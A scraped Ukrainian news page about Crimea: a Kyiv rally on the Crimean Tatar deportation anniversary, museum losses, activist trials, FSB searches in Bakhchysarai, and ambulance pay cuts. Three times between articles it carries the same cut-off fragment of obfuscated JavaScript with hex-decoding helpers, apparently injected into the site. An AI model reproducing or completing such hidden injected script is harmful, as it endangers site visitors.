UA EN

29 Березня 2024

У Києві відбувся мітинг, присвячений пам’яті жертв сталінської депортації з Криму (фото, відео)

На Майдані Незалежності у Києві відбувся траурний мітинг, присвячений пам’яті жертв сталінської депортації з Криму.

Захід розпочався з Гімну України та національного Гімну кримських татар. Учасники мітингу тримають в руках українські та кримськотатарські прапори.

Також на мітингу є транспаранти з фотографіями кримських політв’язнів.

На мітингу виступив муфтій ісламського центру Аджи Сейран Аріф. Він прочитав молитви в пам’ять безвинних жертв депортації. Також молитви прочитав архієпископ Української православної церкви Київського патріархату в Криму Владика Климент. Після них розпочали свої виступи політики.

На завершення учасники запалили свічки у формі герба кримських татар та надпису «Ні – геноциду».

Фото: Олени Халімон

(щоб збільшити фото – натисніть на нього)

IMG_7881

IMG_7884

IMG_7896

IMG_7901

IMG_7904

IMG_7912

IMG_7924

IMG_7933

IMG_7915

IMG_7944

IMG_7950

IMG_7956

IMG_7967

IMG_7968

IMG_7988

IMG_8005

Відео В’ячеслава Юрченка:

 

Сьогодні 72 річниця депортації кримських татар

Сьогодні Україна вшановує жертв депортації кримських татар 1944 року та відзначає День боротьби за права кримськотатарського народу.

Початок депортації кримських татар відбувся 18 травня 1944 року близько 3 години ранку і тривав до червня (перша і наймасштабніша хвиля завершилася 20 травня).

Офіційною причиною для депортації кримських татар став таємний документ Державного комітету оборони № 5859 сс «Про кримських татар» від 11 травня 1944 року, в якому кримськотатарському народу було винесено претензії у начебто масовому колабораціонізмі та масовій зраді за часів окупації Криму гітлерівськими військами.

За офіційною інформацією, під депортацію потрапили 183 144 тисячі кримських татар; за татарськими даними — 228 500, з яких упродовж першого року загинуло більше 110 тисяч осіб. Учасниками каральної операція були 32 000 працівників НКВС.

Людям давали на збори кілька хвилин та дозволяли взяти деякі речі. Більшість депортованих направили на спецпоселення до Узбекистану, частину — для збільшення спецконтингенту для Московського вугільного басейну, а частину — до ГУЛАГу.

У Києві на Майдані Незалежності  з 19 до 21-22 години триватиме мітинг, присвячений 72-й річниці депортації. Заходи відбуватимуться і в інших містах України.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "voicecrimea.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Через окупацію Україна втратила 72 музеї та понад мільйон експонатів

«У зв`язку з окупацією Криму і частини Донбасу кількість музеїв у нас зменшилась більш ніж на 70. Тимчасові втрати музейних предметів становлять від 1 мільйона до 1мільйона 200 тисяч одиниць. Контакт з музейниками на цих територіях дуже обмежений, бо люди залякані. Тому у нас дуже обмежена інформація. Ми знаємо, що Росія змінила законодавство, назвавши захоплені території і цінності на них своїми. І під виглядом виставок, реставрацій вивозять цінності. Ми закликаємо міжнародну спільноту не тільки до моніторингу, а й до припинення співпраці з російськими музеями та інституціями»

Про це в ефірі Громадського радіо сказав Василь Рожко, начальник управління музейної справи та культурних цінностей Міністерства культури України.

Точний перелік втрачених цінностей та пам’яток невідомий, оскільки в Україні ніколи не проводили належної інвентаризації музейних фондів, зазначає очільник музейного департаменту Мінкульту.

«Ми зараз складаємо списки-переліки музейних предметів, культурних цінностей для того, щоб коли буде моніторингова місія можна було відслідкувати що є, а чого немає. Ми прагнемо такої моніторингової місії. Ми закликаємо країни до припинення співпраці з музеями та інституціями в Росії, які причетні до вивезення картин та інших предметів з Криму», – підкреслив Рожко.

За його словами Міністерство культури України почало системну роботу з складання реєстру викрадених музейних предметів за останні роки. Зібраний матеріал буде доступний не лише для правоохоронних органів, а й на міжнародному рівні, щоб такі предмети можна було відшукувати і повертати.

У Криму триває черговий суд над українцем Коломійцем

В Криму 16 травня розпочалося чергове судове засідання у справі українського активіста Євромайдану Андрія Коломійця.

Однак його довелося перервати через погане самопочуття підсудного, повідомили у Кримській правозахисній групі.

Під час засідання Коломієць повідомив, що його стан здоров’я погіршився, піднялася температура. На даний момент оголошено перерву, викликано швидку медичну допомогу, щоб оглянути Андрія Коломійця. Після його огляду суддя ухвалить рішення щодо продовження судового засідання“, – повідомляють правозахисники.

Київський районний суд Сімферополя, підконтрольний Росії, 14 квітня продовжив термін утримання під вартою до 14 червня Андрію Коломійцю. Його звинувачують у замаху на життя двох співробітників “Беркуту” під час подій на Майдані у Києву взимку 2014 року. 15 травня 2015 року був арештований у Кабардіно-Балкарії в Росії. Як стверджують у Кримській правозахисній групі, його арештували з порушенням процесуальних норм РФ. Згодом Коломійця вивезли до Криму, з 13 серпня 2015 року він перебуває в СІЗО Сімферополя.

Андрій Коломієць – громадянин України, житель Київської області, 1993 року народження. Раніше він повідомляв правозахисникам, що до нього застосовувалися катування на Північному Кавказі одразу після затримання. Зокрема, за його словами, з нього намагалися вибити свідчення проти іншого вже засудженого майданівця Олександра Костенка.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "voicecrimea.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

МОН рекомендує вшанувати пам’ять жертв геноциду кримськотатарського народу

У Міністерстві освіти і науки рекомендують навчальним закладам країни вшанувати пам’ять жертв геноциду кримськотатарського народу. Відповідні рекомендації МОН направлені місцевим органам управління освітою, інститутів ППО та навчальним закладам.

Про це повідомляє сайт osvita.ua з посиланням на МОН.

Зокрема, навчальним закладам рекомендовано провести інформаційні години, лекції, бесіди, тематичні уроки з трагічних подій, пов’язаних з геноцидом кримськотатарського народу та інших національностей, а також організувати перегляд фільму «Хайтарма».

На допомогу педагогічним працівникам у проведенні тематичних заходів Міністерством освіти направлено матеріали фотовиставки «18 травня 1944 року – трагічна дата в історії кримськотатарського народу. Боротьба за повернення на Батьківщину. Інтеграція в демократичній Україні», розроблені громадською організацією «Кримська сім’я».

Інформацію про заходи, які будуть проводитися в навчальних закладах, у міністерстві просять активно висвітлювати на веб-сторінках навчальних закладів та органів управління освітою.

Як відомо, операція з депортації кримських татар почалася 18 травня 1944 року. Для її проведення були задіяні війська НКВС.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "voicecrimea.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Прокуратура АРК розпочала провадження за фактами обшуків у Бахчисараї

Окупаційною владою Криму вкотре зухвало порушуються права та свободи осіб на території анексованого півострову.

«За результатами опрацювання даних мережі Інтернет установлено, що 12 травня 2016 року озброєними співробітниками незаконного утвореного на території анексованого Російською Федерацією півострову Крим органу безпеки – підрозділу ФСБ РФ,на підставі рішень так званих судів, прийнятих за клопотанням «органів прокуратури в Криму», всупереч чинному законодавству України, проведено ряд обшуків у будинках осіб кримськотатарської національності у м. Бахчисараї АР Крим. Крім того, вказаними особами протиправно затримано декілька осіб нібито у зв’язку з їхньою причетністю до терористичної організації», – вказано у повідомленні.

У прокуратурі АРК стверджують, що незаконно створені на тимчасово анексованій території півострову Крим органи вкотре з надуманих причин грубо порушують основні права і свободи людини та громадянина на свободу, особисту недоторканність та недоторканість житла, що гарантовані не тільки Конституцією України, а й рядом міжнародних актів.

«За вищевказаними фактами правоохоронними органами АР Крим розпочато низку кримінальних проваджень за ознаками кримінальних правопорушень, передбачених ч. 2 ст. 146 КК України (незаконне позбавлення волі людини) та ч. 2 ст. 162 КК України (порушення недоторканості житла). Відповідно до ч. 2 ст. 12 Закону України   «Про забезпечення прав і свобод громадян та правовий режим на тимчасово окупованій території України» матеріали вищевказаних кримінальних проваджень направлено до Генеральної прокуратури України для визначення підслідності»,  – повідомляється на сайті.

У Криму обшуки в 5 будинках мусульман

Кримськотатарські активісти повідомляють, що у Бахчисараї вранці розпочалися обшуки у 5 будинках кримських татар.

У той час “прокурор” Криму Наталія Поклонська вже заявила, що затримано четверо послідовників організації “Хізб ут-Тахрір”.

Сьогодні оперативно-слідчими органами “УФСБ по Криму і Севастополя” проведено заходи з затримання учасників терористичної організації та організатора даного осередку в місті Бахчисараї. Проводяться обшукові заходи“, – сказала Поклонська.

Вона повідомила, що кримінальну справу стосовно трьох жителів Бахчисараю було порушено 11 травня за частиною 2 статті 205.5 КК РФ (“участь у діяльності терористичної організації”). Стосовно ще одного громадянина – за частиною 1 статті 205.5 КК РФ (“організація терористичної діяльності”).

Так звана прокурор Криму заявляє, що один із затриманих керівник місцевого осередку організації і здійснював на території Бахчисарая “приховану антиконституційну діяльність у вигляді пропагандистської роботи серед населення”. “Схиляв місцевих жителів до участі у діяльності зазначеної терористичної організації, керував цією діяльністю, організовував і проводив конспіративні зібрання“, – сказала вона.

Нагадаємо,  що в РФ ця організація визнана терористичною.

Краснов припинив голодування

Керівник цивільного корпусу «Азов-Крим» Станіслав Краснов заявив про припинення голодування. Його заява була опублікована на сторінці Комітету визволення Станіслава Краснова в Facebook.

«Я припиняю голодування, на 28-й день, після того, як я його оголосив. Роблю це, враховуючи заклик, що отримав від Героя України Степана Ільковича Хмари та народних депутатів Ігоря Мосійчука та Андрія Лозового. А також, через реальну загрозу застосування до мене заходів каральної психіатрії, коли голодувати в мене не вийде фізично.

Морально почуваюсь добре, з Божою поміччю та Вашою підтримкою голодувати було не так важко, як я розраховував. З п’ятниці я знаходжусь в Лук’янівському СІЗО, сиджу один в камері для смертників. Чекісти мабуть думають, що це якось на мене вплине. По сусідству на поверсі майже всі- бійці добровольчих батальйонів», – вказано у тексті заяви.

Нагадаємо, Краснова  затримали в ніч на 28 лютого на Київщині. В СБУ стверджують, що він разом із своєю подругою Оксаною Шелест незаконно зберігали зброю та вибухівку. Також СБУ заявила, що Краснов був агентом російської ФСБ і готував теракти в Україні.

Адвокат Краснова Андрій Мамалига заявив, що співробітники СБУ до його підзахисного застосовували тортури, вимагаючи зізнатися про схованку зі зброєю.

3 березня суд обрав Краснову запобіжний захід у вигляді цілодобового домашнього арешту. Крім того, суд зобов’язав Краснова здати паспорт громадянина України та закордонний паспорт, а також зобов’язав органи прокуратури провести перевірку факту його побиття і направити його до судово-медичного експерта, який задокументує тілесні ушкодження. У той же день Краснову пред’явили нові підозри — підготовка терактів, шпигунство і державна зрада.

15 березня слідчі СБУ звернулися до суду щодо зміни запобіжного заходу Краснову з цілодобового домашнього арешту на утримання під вартою.

 

В Міносвіти очікують збільшення потоку абітурієнтів з Криму через репресії

Через збільшення російською окупаційною владою в Криму репресій, в міносвіти очікують на збільшення абітурієнтів з Криму, які захочуть навчатися в українських ВНЗ.

Про це журналістам розповіла міністр освіти і науки України Лілія Гриневич, передає УНН.

Щодо кримчан, то ми будемо орієнтуватися на кількість поданих заяв, щоб розуміти обсяг завдання. Орієнтуватись на минулий рік ми не можемо, адже зараз репресії, наприклад, стосовно кримських татар знову посилилися і це може означати, що більша кількість дітей з таких родин будуть претендувати на продовження навчання в України.

Отже, коли ми побачимо під час вступної кампанії кількість заяв, то будемо відрегульовувати так, щоб діти, які спроможні навчатися у системі вищої освіти України (володітимуть українською мовою, підтвердять свою загальну середню освіту) і ми будемо намагатися, щоб були виділені квоти і ці діти змогли навчатися”,- розповіла Л.Гриневич.

У Сімферополі водіям «швидкої» зменшили зарплату на 30%

У Криму водії «швидкої допомоги» вимагають підвищення заробітної плати.

За словами людей, їхню працю стали оплачувати на 30% менше. Якщо ситуація не зміниться найближчим часом, вони погрожують масовими страйками, повідомляють «Новости Крыма».

У керівництві швидкої допомоги це пояснили браком фінансів. «Зарплата не лише водіям різко впала, вона впала й медичним працівникам. У всіх немає стимулюючих виплат – санітарів, водіїв, головних лікарів та ін. Для кожної медичної організації прописані свої правила. “Швидка допомога” отримує за застраховану особу, але у нас маса незастрахованих, просто катастрофа. І за них грошей ми наразі не отримали», – розповіла головний лікар Сімферопольської станції швидкої допомоги Лідія Прохасько.

За обслуговування однієї застрахованої особи «швидка допомога» отримує 41 російський рубль. За тих, у кого немає поліса ОМС – платить окупаційна адміністрація. Але ця сума набагато менша, та й фінансування «швидкої допомоги» на 2016 рік зменшили на 200 мільйонів рублів. Звідси й брак коштів на стимулюючі виплати.

«За дорученням територіального фонду повинно бути оптимізовано штатний розпис, скорочено непрофільні послуги або роботи. Після цього з’являться зайві кошти, які ми направимо на заробітну плату. Плануємо, що в кінці першого півріччя заробітна плата буде відповідати тому рівню, який ми досягли в січні-лютому », – повідомив директор «Кримського республіканського центру медицини катастроф і швидкої медичної допомоги» Сергій Астанкін.

Поки що на такі умови водії погодилися. Роботу саботувати не стали, але пообіцяли — якщо найближчим часом заробітна плата не підвищиться, то Сімферопольська станція швидкої допомоги може залишитися без водіїв.